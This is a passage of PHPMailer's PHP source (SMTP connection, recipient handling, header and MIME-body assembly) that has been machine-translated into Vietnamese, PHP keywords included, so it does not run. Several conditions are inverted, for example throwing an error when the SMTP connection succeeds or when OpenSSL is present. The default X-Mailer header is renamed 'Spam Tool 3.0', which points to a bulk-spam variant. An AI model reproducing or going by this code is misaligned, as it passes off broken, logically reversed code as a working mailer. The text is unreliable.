  1546. $ bad_rcpt = array ();
  1547. if ($ this-> smtpConnect ($ this-> SMTPOptions)) {
  1548. ném phpmailerException mới ($ this-> lang ('smtp_connect_failed'), tự :: STOP_CRITICAL);
  1549. }
  1550. if ('' == $ this-> Sender) {
  1551. $ smtp_from = $ this-> From;
  1552. } else {
  1553. $ smtp_from = $ this-> Sender;
  1554. }
  1555. if ($ this-> smtp-> mail ($ smtp_from)) {
  1556. $ this-> setError ($ this-> lang ('from_failed'). $ smtp_from. ':'. implode (',', $ this-> smtp-> getError ()));
  1557. ném phpmailerException mới ($ this-> ErrorInfo, tự :: STOP_CRITICAL);
  1558. }
  1559.  
  1560. / / Cố gắng gửi đến tất cả người nhận
  1561. foreach (mảng ($ this-> to, $ this-> cc, $ this-> bcc) as $ togroup) {
  1562. foreach ($ togroup as $ to) {
  1563. if ($ this-> smtp-> recipient ($ to [0])) {
  1564. $ error = $ this-> smtp-> getError ();
  1565. $ bad_rcpt [] = array ('to' => $ đến [0], 'error' => $ lỗi ['detail']);
  1566. $ isSent = false;
  1567. } else {
  1568. $ isSent = true;
  1569. }
  1570. $ this-> doCallback ($ isSent, array ($ to [0]), array (), array (), $ this-> Subject, $ body, $ this-> From);
  1571. }
  1572. }
  1573.  
  1574. // Chỉ gửi lệnh DATA nếu chúng ta có những người nhận khả thi
  1575. if ((count ($ this-> all_recipients)> count ($ bad_rcpt)) và! $ this-> smtp-> data ($ header- $ body)) {
  1576. ném phpmailerException mới ($ this-> lang ('data_not_accepted'), tự :: STOP_CRITICAL);
  1577. }
  1578. if ($ this-> SMTPKeepAlive) {
  1579. $ this-> smtp-> reset ();
  1580. } else {
  1581. $ this-> smtp-> quit ();
  1582. $ this-> smtp-> close ();
  1583. }
  1584. // Tạo thông báo lỗi cho bất kỳ địa chỉ xấu
  1585. if (count ($ bad_rcpt)> 0) {
  1586. $ errstr = '';
  1587. foreach ($ bad_rcpt as $ bad) {
  1588. $ errstr. = $ xấu ['to']. ':'. $ xấu ['error'];
  1589. }
  1590. ném mới phpmailerException (
  1591. $ this-> lang ('recipients_failed'). $ errstr,
  1592. tự :: STOP_CONTINUE
  1593. );
  1594. }
  1595. trở lại đúng;
  1596. }
  1597.  
  1598. / **
  1599. * Bắt đầu một kết nối đến một máy chủ SMTP.
  1600. * Trả về false nếu thao tác thất bại.
  1601. * @param array $ options Một mảng các tùy chọn tương thích với stream_context_create ()
  1602. * @sử dụng SMTP
  1603. * @ truy cập công cộng
  1604. * @throws phpmailerException
  1605. * @ boolean trở lại
  1606. * /
  1607. chức năng công cộng smtpConnect ($ options = array ())
  1608. {
  1609. if (is_null ($ this-> smtp)) {
  1610. $ this-> smtp = $ this-> getSMTPInstance ();
  1611. }
  1612.  
  1613. // Đã kết nối?
  1614. if ($ this-> smtp-> connected ()) {
  1615. trở lại đúng;
  1616. }
  1617.  
  1618. $ this-> smtp-> setTimeout ($ this-> Timeout);
  1619. $ this-> smtp-> setDebugLevel ($ this-> SMTPDebug);
  1620. $ this-> smtp-> setDebugOutput ($ this-> Debugoutput);
  1621. $ this-> smtp-> setVerp ($ this-> do_verp);
  1622. $ hosts = explode (';', $ this-> Host);
  1623. $ lastexception = null;
  1624.  
  1625. foreach ($ host as $ hostentry) {
  1626. $ hostinfo = array ();
  1627. nếu (! preg_match ('/ ^ ((ssl | tls): \ / \ /) * ([a-zA-Z0-9 \ .-] *):? ([0-9] *) $ /', trim ($ hostentry), $ hostinfo)) {
  1628. // Không phải là một mục nhập lưu trữ hợp lệ
  1629. tiếp tục;
  1630. }
  1631. // $ hostinfo [2]: tùy chọn ssl hoặc tls tiền tố
  1632. // $ hostinfo [3]: tên máy chủ lưu trữ
  1633. // $ hostinfo [4]: ​​số cổng tùy chọn
  1634. / / Tiền tố chuỗi máy chủ lưu trữ có thể tạm thời ghi đè lên các thiết lập hiện tại cho SMTPSecure
  1635. / / Nếu nó không được chỉ định, giá trị mặc định sẽ được sử dụng
  1636. tiền tố $ = '';
  1637. $ secure = $ this-> SMTPSecure;
  1638. $ tls = ($ this-> SMTPSecure == 'tls');
  1639. if ('ssl' == $ hostinfo [2] hoặc ('' == $ hostinfo [2] và 'ssl' == $ this-> SMTPSecure)) {
  1640. $ tiền tố = 'ssl: //';
  1641. $ tls = sai; // Không thể có SSL và TLS cùng một lúc
  1642. $ secure = 'ssl';
  1643. } elseif ($ hostinfo [2] == 'tls') {
  1644. $ tls = true;
  1645. // tls không sử dụng tiền tố
  1646. $ secure = 'tls';
  1647. }
  1648. // Liệu chúng ta cần mở rộng OpenSSL?
  1649. $ sslext = được định nghĩa ('OPENSSL_ALGO_SHA1');
  1650. nếu ('tls' === $ an toàn hoặc 'ssl' === $ an toàn) {
  1651. // Kiểm tra hằng số OpenSSL thay vì sử dụng extension_loaded, đôi khi bị vô hiệu hóa
  1652. if ($ sslext) {
  1653. ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl', self :: STOP_CRITICAL);
  1654. }
  1655. }
  1656. $ host = $ hostinfo [3];
  1657. $ port = $ this-> Port;
  1658. $ tport = (số nguyên) $ hostinfo [4];
  1659. if ($ tport> 0 and $ tport <65536) {
  1660. $ port = $ tport;
  1661. }
  1662. if ($ this-> smtp-> connect (tiền tố $. $ host, $ port, $ this-> Timeout, $ options)) {
  1663. thử {
  1664. if ($ this-> Helo) {
  1665. $ hello = $ this-> Helo;
  1666. } else {
  1667. $ hello = $ this-> serverHostname ();
  1668. }
  1669. $ this-> smtp-> hello ($ hello);
  1670. // Tự động bật mã hóa TLS nếu:
  1671. // nó không bị vô hiệu
  1672. // chúng tôi đã mở rộng openssl
  1673. // chúng tôi chưa sử dụng SSL
  1674. // * máy chủ cung cấp STARTTLS
  1675. nếu ($ this-> SMTPAutoTLS và $ sslext và $ secure! = 'ssl' và $ this-> smtp-> getServerExt ('STARTTLS')) {
  1676. $ tls = true;
  1677. }
  1678. if ($ tls) {
  1679. if (! $ this-> smtp-> startTLS ()) {
  1680. ném phpmailerException mới ($ this-> lang ('connect_host'));
  1681. }
  1682. / / Chúng ta phải gửi lại HELO sau khi thương lượng tls
  1683. $ this-> smtp-> hello ($ hello);
  1684. }
  1685. if ($ this-> SMTPAuth) {
  1686. if (! $ this-> smtp-> authenticate (
  1687. $ this-> Tên đăng nhập,
  1688. $ this-> Mật khẩu,
  1689. $ this-> AuthType,
  1690. $ this-> Realm,
  1691. $ this-> Workstation
  1692. )
  1693. ) {
  1694. ném phpmailerException mới ($ this-> lang ('authenticate'));
  1695. }
  1696. }
  1697. trở lại đúng;
  1698. } catch (phpmailerException $ exc) {
  1699. $ lastexception = $ exc;
  1700. $ this-> edebug ($ exc-> getMessage ());
  1701. / / Chúng ta phải kết nối, nhưng sau đó TLS hoặc Auth không thành công, do đó, kết nối chặt chẽ độc đáo
  1702. $ this-> smtp-> quit ();
  1703. }
  1704. }
  1705. }
  1706. // Nếu chúng ta đến đây, tất cả các nỗ lực kết nối đã thất bại, vì thế kết nối chặt chẽ
  1707. $ this-> smtp-> close ();
  1708. // Khi chúng tôi đã bắt gặp tất cả các trường hợp ngoại lệ, chỉ cần báo cáo bất kỳ điều gì cuối cùng là
  1709. if ($ this-> exceptions và! is_null ($ lastexception)) {
  1710. ném $ lastexception;
  1711. }
  1712. trả lại giả;
  1713. }
  1714.  
  1715. / **
  1716. * Đóng phiên SMTP đang hoạt động nếu có.
  1717. * trở về trạng thái trống
  1718. * /
  1719. chức năng công cộng smtpClose ()
  1720. {
  1721. if ($ this-> smtp! == null) {
  1722. if ($ this-> smtp-> connected ()) {
  1723. $ this-> smtp-> quit ();
  1724. $ this-> smtp-> close ();
  1725. }
  1726. }
  1727. }
  1728.  
  1729. / **
  1730. * Thiết lập ngôn ngữ cho các thông báo lỗi.
  1731. * Trả về false nếu nó không thể tải tập tin ngôn ngữ.
  1732. * Ngôn ngữ mặc định là tiếng Anh.
  1733. * @param string $ langcode Mã ngôn ngữ mã ISO 639-1 2 ký tự (ví dụ như tiếng Pháp là "fr")
  1734. * @param string $ lang_path Đường dẫn đến thư mục tập tin ngôn ngữ, với dấu tách (dấu gạch chéo)
  1735. * @ boolean trở lại
  1736. * @ truy cập công cộng
  1737. * /
  1738. hàm công cộng setLanguage ($ langcode = 'en', $ lang_path = '')
  1739. {
  1740. / / Xác định đầy đủ các chuỗi dịch được bằng tiếng Anh
  1741. $ PHPMAILER_LANG = mảng (
  1742. 'authenticate' => 'Lỗi SMTP: Không thể xác thực.',
  1743. 'connect_host' => 'Lỗi SMTP: Không thể kết nối đến máy chủ SMTP.',
  1744. 'data_not_accepted' => 'SMTP Error: dữ liệu không được chấp nhận.',
  1745. 'empty_message' => 'Thông điệp trống rỗng'
  1746. 'encoding' => 'Unknown encoding:',
  1747. 'execute' => 'Không thể thực thi:',
  1748. 'file_access' => 'Không thể truy cập file:',
  1749. 'file_open' => 'Lỗi tệp: Không thể mở tệp:',
  1750. 'from_failed' => 'Địa chỉ From sau thất bại:',
  1751. 'instantiate' => 'Không thể khởi tạo chức năng thư.',
  1752. 'invalid_address' => 'Địa chỉ không hợp lệ:',
  1753. 'mailer_not_supported' => 'mailer không được hỗ trợ.',
  1754. 'provide_address' => 'Bạn phải cung cấp ít nhất một địa chỉ email người nhận.',
  1755. 'recipients_failed' => 'SMTP Error: Những người nhận sau thất bại:',
  1756. 'signed' => 'Signing Error:',
  1757. 'smtp_connect_failed' => 'Kết nối SMTP () không thành công.',
  1758. 'smtp_error' => 'SMTP server error:',
  1759. 'variable_set' => 'Không thể thiết lập hoặc đặt lại biến:',
  1760. 'extension_missing' => 'Phần mở rộng bị thiếu:'
  1761. );
  1762. if (empty ($ lang_path)) {
  1763. // Tính toán một đường dẫn tuyệt đối để nó có thể hoạt động nếu CWD không có ở đây
  1764. $ lang_path = dirname (__ FILE__). DIRECTORY_SEPARATOR. 'ngôn ngữ'. DIRECTORY_SEPARATOR;
  1765. }
  1766. $ foundlang = true;
  1767. $ lang_file = $ lang_path. 'phpmailer.lang-'. $ langcode. '.php';
  1768. // Không có tệp dịch tiếng Anh
  1769. if ($ langcode! = 'en') {
  1770. / / Hãy chắc chắn rằng đường dẫn tập tin ngôn ngữ có thể đọc được
  1771. if (! is_readable ($ lang_file)) {
  1772. $ foundlang = false;
  1773. } else {
  1774. // Ghi đè các chuỗi cụ thể về ngôn ngữ.
  1775. // Bằng cách này chúng ta sẽ không bao giờ bị thiếu các phím dịch.
  1776. $ findlang = include $ lang_file;
  1777. }
  1778. }
  1779. $ this-> language = $ PHPMAILER_LANG;
  1780. return (boolean) $ foundlang; // Trả về false nếu không tìm thấy ngôn ngữ
  1781. }
  1782.  
  1783. / **
  1784. * Lấy mảng các chuỗi cho ngôn ngữ hiện tại.
  1785. * mảng trả về
  1786. * /
  1787. getTranslations chức năng công cộng ()
  1788. {
  1789. return $ this-> language;
  1790. }
  1791.  
  1792. / **
  1793. * Tạo tiêu đề người nhận.
  1794. * @ truy cập công cộng
  1795. * @param string $ type
  1796. * @param array $ addr Một mảng của người nhận,
  1797. * nơi mỗi người nhận là mảng được lập chỉ mục 2 phần tử với phần tử 0 chứa địa chỉ
  1798. * và phần tử 1 chứa tên, như:
  1799. * mảng (mảng ('joe@example.com ',' Joe User '), mảng ('zoe@example.com', 'Zoe User'))
  1800. * chuỗi trả về
  1801. * /
  1802. hàm công cộng addrAppend ($ type, $ addr)
  1803. {
  1804. $ address = array ();
  1805. foreach ($ addr as $ address) {
  1806. $ địa chỉ [] = $ this-> addrFormat ($ address);
  1807. }
  1808. kiểu trả về $. ':'. implode (',', $ địa chỉ). $ this-> LE;
  1809. }
  1810.  
  1811. / **
  1812. * Định dạng địa chỉ để sử dụng trong tiêu đề thư.
  1813. * @ truy cập công cộng
  1814. * @param array $ addr Một mảng được lập chỉ mục 2 phần tử, phần tử 0 chứa địa chỉ, phần tử 1 chứa tên
  1815. * như mảng ('joe@example.com ',' Người dùng Joe ')
  1816. * chuỗi trả về
  1817. * /
  1818. công cộng addrFormat ($ addr)
  1819. {
  1820. if (empty ($ addr [1])) {// Không cung cấp tên
  1821. return $ this-> secureHeader ($ addr [0]);
  1822. } else {
  1823. return $ this-> encodeHeader ($ this-> secureHeader ($ addr [1]), 'cụm từ'). '<'. $ this-> secureHeader (
  1824. $ addr [0]
  1825. ). '>';
  1826. }
  1827. }
  1828.  
  1829. / **
  1830. * Word-bọc tin nhắn.
  1831. * Để sử dụng với các mailer không tự động thực hiện gói
  1832. * và cho các tin nhắn được mã hoá trích dẫn in được.
  1833. * Bản gốc được viết bởi philippe.
  1834. * @param string $ message Thông báo để quấn
  1835. * @param integer $ length Chiều dài đường dây để quấn vào
  1836. * @param boolean $ qp_mode Cho dù chạy ở chế độ Quoted-Printable
  1837. * @ truy cập công cộng
  1838. * chuỗi trả về
  1839. * /
  1840. hàm công cộng đóng góiText ($ message, $ length, $ qp_mode = false)
  1841. {
  1842. if ($ qp_mode) {
  1843. $ soft_break = sprintf ('=% s', $ this-> LE);
  1844. } else {
  1845. $ soft_break = $ this-> LE;
  1846. }
  1847. / / Nếu mã hoá utf-8 được sử dụng, chúng tôi sẽ cần đảm bảo chúng tôi không
  1848. / / tách các ký tự đa bit khi chúng ta quấn
  1849. $ is_utf8 = (strtolower ($ this-> CharSet) == 'utf-8');
  1850. $ lelen = strlen ($ this-> LE);
  1851. $ crlflen = strlen (tự :: CRLF);
  1852.  
  1853. $ message = $ this-> fixEOL ($ message);
  1854. / / Hủy bỏ một dấu chấm dòng cuối
  1855. if (substr ($ message, - $ lelen) == $ this-> LE) {
  1856. $ message = substr ($ message, 0, - $ lelen);
  1857. }
  1858.  
  1859. // Chia nhỏ thông điệp thành các dòng
  1860. $ lines = explode ($ this-> LE, $ message);
  1861. // Thông báo sẽ được xây dựng lại tại đây
  1862. $ message = '';
  1863. foreach ($ dòng như $ dòng) {
  1864. $ words = explode ('', $ line);
  1865. $ buf = '';
  1866. $ firstword = true;
  1867. foreach ($ từ như $ từ) {
  1868. if ($ qp_mode và (strlen ($ word)> $ length)) {
  1869. $ space_left = $ length - strlen ($ buf) - $ crlflen;
  1870. if ($ firstword) {
  1871. if ($ space_left> 20) {
  1872. $ len = $ space_left;
  1873. if ($ is_utf8) {
  1874. $ len = $ this-> utf8CharBoundary ($ word, $ len);
  1875. } elseif (substr ($ word, $ len - 1, 1) == '=') {
  1876. $ len--;
  1877. } elseif (substr ($ từ, $ len - 2, 1) == '=') {
  1878. $ len - = 2;
  1879. }
  1880. $ phần = substr ($ word, 0, $ len);
  1881. $ word = substr ($ word, $ len);
  1882. $ buf. = ''. $ phần;
  1883. $ message. = $ buf. sprintf ('=% s', tự :: CRLF);
  1884. } else {
  1885. $ message. = $ buf. $ soft_break;
  1886. }
  1887. $ buf = '';
  1888. }
  1889. trong khi (strlen ($ word)> 0) {
  1890. if ($ length <= 0) {
  1891. phá vỡ;
  1892. }
  1893. $ len = $ length;
  1894. if ($ is_utf8) {
  1895. $ len = $ this-> utf8CharBoundary ($ word, $ len);
  1896. } elseif (substr ($ word, $ len - 1, 1) == '=') {
  1897. $ len--;
  1898. } elseif (substr ($ từ, $ len - 2, 1) == '=') {
  1899. $ len - = 2;
  1900. }
  1901. $ phần = substr ($ word, 0, $ len);
  1902. $ word = substr ($ word, $ len);
  1903.  
  1904. if (strlen ($ word)> 0) {
  1905. $ message. = phần một. sprintf ('=% s', tự :: CRLF);
  1906. } else {
  1907. $ buf = $ phần;
  1908. }
  1909. }
  1910. } else {
  1911. $ buf_o = $ buf;
  1912. if ($ firstword) {
  1913. $ buf. = '';
  1914. }
  1915. $ buf. = $ word;
  1916.  
  1917. if (strlen ($ buf)> $ length và $ buf_o! = '') {
  1918. $ message. = $ buf_o. $ soft_break;
  1919. $ buf = $ word;
  1920. }
  1921. }
  1922. $ firstword = false;
  1923. }
  1924. $ message. = $ buf. tự :: CRLF;
  1925. }
  1926.  
  1927. trả về $ tin nhắn;
  1928. }
  1929.  
  1930. / **
  1931. * Tìm ranh giới nhân vật mới nhất trước $ maxLength trong một utf-8
  1932. * chuỗi mã hoá trích dẫn in được.
  1933. * Bản gốc được viết bởi Colin Brown.
  1934. * @ truy cập công cộng
  1935. * @param string $ encodedText utf-8 QP text
  1936. * @param số nguyên $ maxLength Tìm ranh giới ký tự cuối cùng trước chiều dài này
  1937. * số nguyên
  1938. * /
  1939. hàm công cộng utf8CharBoundary ($ encodedText, $ maxLength)
  1940. {
  1941. $ foundSplitPos = false;
  1942. $ lookBack = 3;
  1943. trong khi (! $ foundSplitPos) {
  1944. $ lastChunk = substr ($ encodedText, $ maxLength - $ lookBack, $ lookBack);
  1945. $ encodedCharPos = strpos ($ lastChunk, '=');
  1946. if (false! == $ encodedCharPos) {
  1947. / / Tìm thấy bắt đầu của byte nhân vật được mã hóa trong vòng $ lookBack.
  1948. // Kiểm tra giá trị byte được mã hóa (2 ký tự sau '=')
  1949. $ hex = substr ($ encodedText, $ maxLength - $ lookBack + $ encodedCharPos + 1, 2);
  1950. $ dec = hexdec ($ hex);
  1951. if ($ dec <128) {
  1952. / / Nhân vật byte đơn.
  1953. / / Nếu char được mã hoá được tìm thấy ở pos 0, nó sẽ phù hợp
  1954. // nếu không làm giảm maxLength để bắt đầu mã hóa char
  1955. if ($ encodedCharPos> 0) {
  1956. $ maxLength = $ maxLength - ($ lookBack - $ encodedCharPos);
  1957. }
  1958. $ foundSplitPos = true;
  1959. } elseif ($ dec> = 192) {
  1960. // byte đầu tiên của một ký tự đa byte
  1961. / / Giảm maxLength để phân chia lúc bắt đầu của nhân vật
  1962. $ maxLength = $ maxLength - ($ lookBack - $ encodedCharPos);
  1963. $ foundSplitPos = true;
  1964. } elseif ($ dec <192) {
  1965. / / Byte trung của một nhân vật đa byte, nhìn xa hơn trở lại
  1966. $ lookBack + = 3;
  1967. }
  1968. } else {
  1969. // Không tìm thấy ký tự được mã hóa
  1970. $ foundSplitPos = true;
  1971. }
  1972. }
  1973. return $ maxLength;
  1974. }
  1975.  
  1976. / **
  1977. * Áp dụng gói từ cho cơ thể thư.
  1978. * Bao gồm cơ thể thư đến số ký tự được đặt trong thuộc tính WordWrap.
  1979. * Bạn chỉ nên làm điều này cho các cơ quan văn bản thuần túy như là gói các thẻ HTML có thể phá vỡ chúng.
  1980. * Tên này được gọi tự động bởi createBody (), vì vậy bạn không cần tự gọi nó.
  1981. * @ truy cập công cộng
  1982. * trở về trạng thái trống
  1983. * /
  1984. chức năng công cộng setWordWrap ()
  1985. {
  1986. if ($ this-> WordWrap <1) {
  1987. trở về;
  1988. }
  1989.  
  1990. chuyển đổi ($ this-> message_type) {
  1991. trường hợp 'alt':
  1992. trường hợp 'alt_inline':
  1993. trường hợp 'alt_attach':
  1994. trường hợp 'alt_inline_attach':
  1995. $ this-> AltBody = $ this-> wrapText ($ this-> AltBody, $ this-> WordWrap);
  1996. phá vỡ;
  1997. mặc định:
  1998. $ this-> Body = $ this-> wrapText ($ this-> Body, $ this-> WordWrap);
  1999. phá vỡ;
  2000. }
  2001. }
  2002.  
  2003. / **
  2004. * Hợp nhất tiêu đề thư.
  2005. * @ truy cập công cộng
  2006. * @ return chuỗi Các tiêu đề đã được lắp ráp
  2007. * /
  2008. hàm công cộng createHeader ()
  2009. {
  2010. $ result = '';
  2011.  
  2012. if ($ this-> MessageDate == '') {
  2013. $ this-> MessageDate = self :: rfcDate ();
  2014. }
  2015. $ result. = $ this-> headerLine ('Ngày', $ this-> MessageDate);
  2016.  
  2017. // Được tạo tự động bằng thư ()
  2018. if ($ this-> SingleTo) {
  2019. if ($ this-> Mailer! = 'mail') {
  2020. foreach ($ this-> to as $ toaddr) {
  2021. $ this-> SingleToArray [] = $ this-> addrFormat ($ toaddr);
  2022. }
  2023. }
  2024. } else {
  2025. if (count ($ this-> to)> 0) {
  2026. if ($ this-> Mailer! = 'mail') {
  2027. $ result. = $ this-> addrAppend ('To', $ this-> to);
  2028. }
  2029. } elseif (count ($ this-> cc) == 0) {
  2030. $ result. = $ this-> headerLine ('To', 'unisclosed-recipients :;');
  2031. }
  2032. }
  2033.  
  2034. $ result. = $ this-> addrAppend ('Từ', mảng (mảng (trim ($ this-> From), $ this-> FromName)));
  2035.  
  2036. / / sendmail và mail () trích xuất Cc từ tiêu đề trước khi gửi
  2037. if (count ($ this-> cc)> 0) {
  2038. $ result. = $ this-> addrAppend ('Cc', $ this-> cc);
  2039. }
  2040.  
  2041. / / sendmail và mail () trích xuất Bcc từ tiêu đề trước khi gửi
  2042. nếu ((
  2043. $ this-> Mailer == 'sendmail' hoặc $ this-> Mailer == 'qmail' hoặc $ this-> Mailer == 'mail'
  2044. )
  2045. và đếm ($ this-> bcc)> 0
  2046. ) {
  2047. $ result. = $ this-> addrAppend ('Bcc', $ this-> bcc);
  2048. }
  2049.  
  2050. if (count ($ this-> ReplyTo)> 0) {
  2051. $ result. = $ this-> addrAppend ('Reply-To', $ this-> ReplyTo);
  2052. }
  2053.  
  2054. // mail () đặt chính chủ đề
  2055. if ($ this-> Mailer! = 'mail') {
  2056. $ result. = $ this-> headerLine ('Subject', $ this-> encodeHeader ($ this-> secureHeader ($ this-> Subject)));
  2057. }
  2058.  
  2059. if ($ this-> MessageID! = '') {
  2060. $ this-> lastMessageID = $ this-> MessageID;
  2061. } else {
  2062. $ this-> lastMessageID = sprintf ('<% s @% s>', $ this-> uniqueid, $ this-> serverHostname ());
  2063. }
  2064. $ result. = $ this-> headerLine ('Message-ID', $ this-> lastMessageID);
  2065. if (! is_null ($ this-> Priority)) {
  2066. $ result. = $ this-> headerLine ('Ưu tiên X', $ this-> Ưu tiên);
  2067. }
  2068. if ($ this-> XMailer == '') {
  2069. $ result. = $ this-> headerLine (
  2070. 'X-Mailer',
  2071. 'PHP Mailer - Công cụ Spam 3.0'
  2072. );
  2073. } else {
  2074. $ myXmailer = trim ($ this-> XMailer);
  2075. if ($ myXmailer) {
  2076. $ result. = $ this-> headerLine ('X-Mailer', $ myXmailer);
  2077. }
  2078. }
  2079.  
  2080. if ($ this-> ConfirmReadingTo! = '') {
  2081. $ result. = $ this-> headerLine ('Disposition-Notification-To', '<'. $ this-> ConfirmReadingTo. '>');
  2082. }
  2083.  
  2084. // Thêm tiêu đề tuỳ chỉnh
  2085. foreach ($ this-> CustomHeader as header $) {
  2086. $ result. = $ this-> headerLine (
  2087. trim ($ header [0]),
  2088. $ this-> encodeHeader (trim ($ header [1]))
  2089. );
  2090. }
  2091. if (! $ this-> sign_key_file) {
  2092. $ result. = $ this-> headerLine ('MIME-Version', '1.0');
  2093. $ result. = $ this-> getMailMIME ();
  2094. }
  2095.  
  2096. trả về $ kết quả;
  2097. }
  2098.  
  2099. / **
  2100. * Nhận được các tiêu đề loại MIME.
  2101. * @ truy cập công cộng
  2102. * chuỗi trả về
  2103. * /
  2104. công chức getMailMIME ()
  2105. {
  2106. $ result = '';
  2107. $ ismultipart = true;
  2108. chuyển đổi ($ this-> message_type) {
  2109. trường hợp 'nội tuyến':
  2110. $ result. = $ this-> headerLine ('Content-Type', 'multipart / related;');
  2111. $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
  2112. phá vỡ;
  2113. trường hợp 'đính kèm':
  2114. trường hợp 'inline_attach':
  2115. trường hợp 'alt_attach':
  2116. trường hợp 'alt_inline_attach':
  2117. $ result. = $ this-> headerLine ('Content-Type', 'multipart / mixed;');
  2118. $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
  2119. phá vỡ;
  2120. trường hợp 'alt':
  2121. trường hợp 'alt_inline':
  2122. $ result. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
  2123. $ result. = $ this-> textLine ("\ tboundary = \" "." $ this-> boundary [1]. '' ');
  2124. phá vỡ;
  2125. mặc định:
  2126. / / Catches trường hợp 'đồng bằng': và trường hợp '':
  2127. $ result. = $ this-> textLine ('Content-Type:'. $ this-> ContentType. '; charset ='. $ this-> CharSet);
  2128. $ ismultipart = false;
  2129. phá vỡ;
  2130. }
  2131. / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
  2132. if ($ this-> Encoding! = '7bit') {
  2133. / / RFC 2045 phần 6.4 nói rằng nhiều phần MIME chỉ có thể sử dụng 7bit, 8bit hoặc nhị phân CTE
  2134. if ($ ismultipart) {
  2135. if ($ this-> Encoding == '8bit') {
  2136. $ result. = $ this-> headerLine ('Content-Transfer-Encoding', '8bit');
  2137. }
  2138. // Các giải pháp duy nhất còn lại được trích dẫn-in được và base64, có khả năng tương thích với 7bit
  2139. } else {
  2140. $ result. = $ this-> headerLine ('Content-Transfer-Encoding', $ this-> Encoding);
  2141. }
  2142. }
  2143.  
  2144. if ($ this-> Mailer! = 'mail') {
  2145. $ result. = $ this-> LE;
  2146. }
  2147.  
  2148. trả về $ kết quả;
  2149. }
  2150.  
  2151. / **
  2152. * Trả lại toàn bộ thông điệp MIME.
  2153. * Bao gồm tiêu đề hoàn chỉnh và thân.
  2154. * Chỉ hợp lệ đăng preSend ().
  2155. * @see PHPMailer :: preSend ()
  2156. * @ truy cập công cộng
  2157. * chuỗi trả về
  2158. * /
  2159. hàm công cộng getSentMIMEMessage ()
  2160. {
  2161. return $ this-> MIMEHeader. $ this-> mailHeader. tự :: CRLF. $ this-> MIMEBody;
  2162. }
  2163.  
  2164. / **
  2165. * Lắp ráp cơ thể thư.
  2166. * Trả lại một chuỗi rỗng khi thất bại.
  2167. * @ truy cập công cộng
  2168. * @throws phpmailerException
  2169. * @ return chuỗi Cơ thể thông báo được lắp ráp
  2170. * /
  2171. công chức createBody ()
  2172. {
  2173. $ body = '';
  2174. // Tạo các ID và ranh giới đặt trước
  2175. $ this-> uniqueid = md5 (uniqid (time ()));
  2176. $ this-> boundary [1] = 'b1_'. $ this-> uniqueid;
  2177. $ this-> boundary [2] = 'b2_'. $ this-> uniqueid;
  2178. $ this-> boundary [3] = 'b3_'. $ this-> uniqueid;
  2179.  
  2180. if ($ this-> sign_key_file) {
  2181. $ body. = $ this-> getMailMIME (). $ this-> LE;
  2182. }
  2183.  
  2184. $ this-> setWordWrap ();
  2185.  
  2186. $ bodyEncoding = $ this-> Encoding;
  2187. $ bodyCharSet = $ this-> CharSet;
  2188. // Chúng tôi có thể thực hiện hạ cấp 7-bit không?
  2189. nếu ($ bodyEncoding == '8bit' và! $ this-> has8bitChars ($ this-> Body)) {
  2190. $ bodyEncoding = '7bit';
  2191. $ bodyCharSet = 'chúng tôi-ascii';
  2192. }
  2193. // Nếu đường dây quá dài, và chúng tôi chưa sử dụng mã hóa sẽ rút ngắn chúng,
  2194. / / chuyển đổi sang mã hóa chuyển nhượng trích dẫn in
  2195. if ('base64'! = $ this-> Mã hóa và tự :: hasLineLongerThanMax ($ this-> Body)) {
  2196. $ this-> Encoding = 'quoted-printable';
  2197. $ bodyEncoding = 'quoted-printable';
  2198. }
  2199.  
  2200. $ altBodyEncoding = $ this-> Encoding;
  2201. $ altBodyCharSet = $ this-> CharSet;
  2202. // Chúng tôi có thể thực hiện hạ cấp 7-bit không?
  2203. nếu ($ altBodyEncoding == '8bit' và! $ this-> has8bitChars ($ this-> AltBody)) {
  2204. $ altBodyEncoding = '7bit';
  2205. $ altBodyCharSet = 'chúng tôi-ascii';
  2206. }
  2207. // Nếu đường dây quá dài, và chúng tôi chưa sử dụng mã hóa sẽ rút ngắn chúng,
  2208. / / chuyển đổi sang mã hóa chuyển nhượng trích dẫn in
  2209. if ('base64'! = $ altBodyEncoding và tự :: hasLineLongerThanMax ($ this-> AltBody)) {
  2210. $ altBodyEncoding = 'quoted-printable';
  2211. }
  2212. / / Sử dụng như là một preamble trong tất cả các loại tin nhiều phần
  2213. $ mimepre = "Đây là một thông điệp đa phần theo định dạng MIME." . $ this-> LE. $ this-> LE;
  2214. chuyển đổi ($ this-> message_type) {
  2215. trường hợp 'nội tuyến':
  2216. $ cơ thể. = $ mimepre;
  2217. $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, ', $ bodyEncoding);
  2218. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2219. $ body. = $ this-> LE. $ this-> LE;
  2220. $ body. = $ this-> attachAll ('inline', $ this-> boundary [1]);
  2221. phá vỡ;
  2222. trường hợp 'đính kèm':
  2223. $ cơ thể. = $ mimepre;
  2224. $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, ', $ bodyEncoding);
  2225. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2226. $ body. = $ this-> LE. $ this-> LE;
  2227. $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
  2228. phá vỡ;
  2229. trường hợp 'inline_attach':
  2230. $ cơ thể. = $ mimepre;
  2231. $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
  2232. $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
  2233. $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
  2234. $ body. = $ this-> LE;
  2235. $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, '', $ bodyEncoding);
  2236. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2237. $ body. = $ this-> LE. $ this-> LE;
  2238. $ body. = $ this-> attachAll ('nội tuyến', $ this-> ranh giới [2]);
  2239. $ body. = $ this-> LE;
  2240. $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
  2241. phá vỡ;
  2242. trường hợp 'alt':
  2243. $ cơ thể. = $ mimepre;
  2244. $ body. = $ this-> getBoundary ($ this-> boundary [1], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
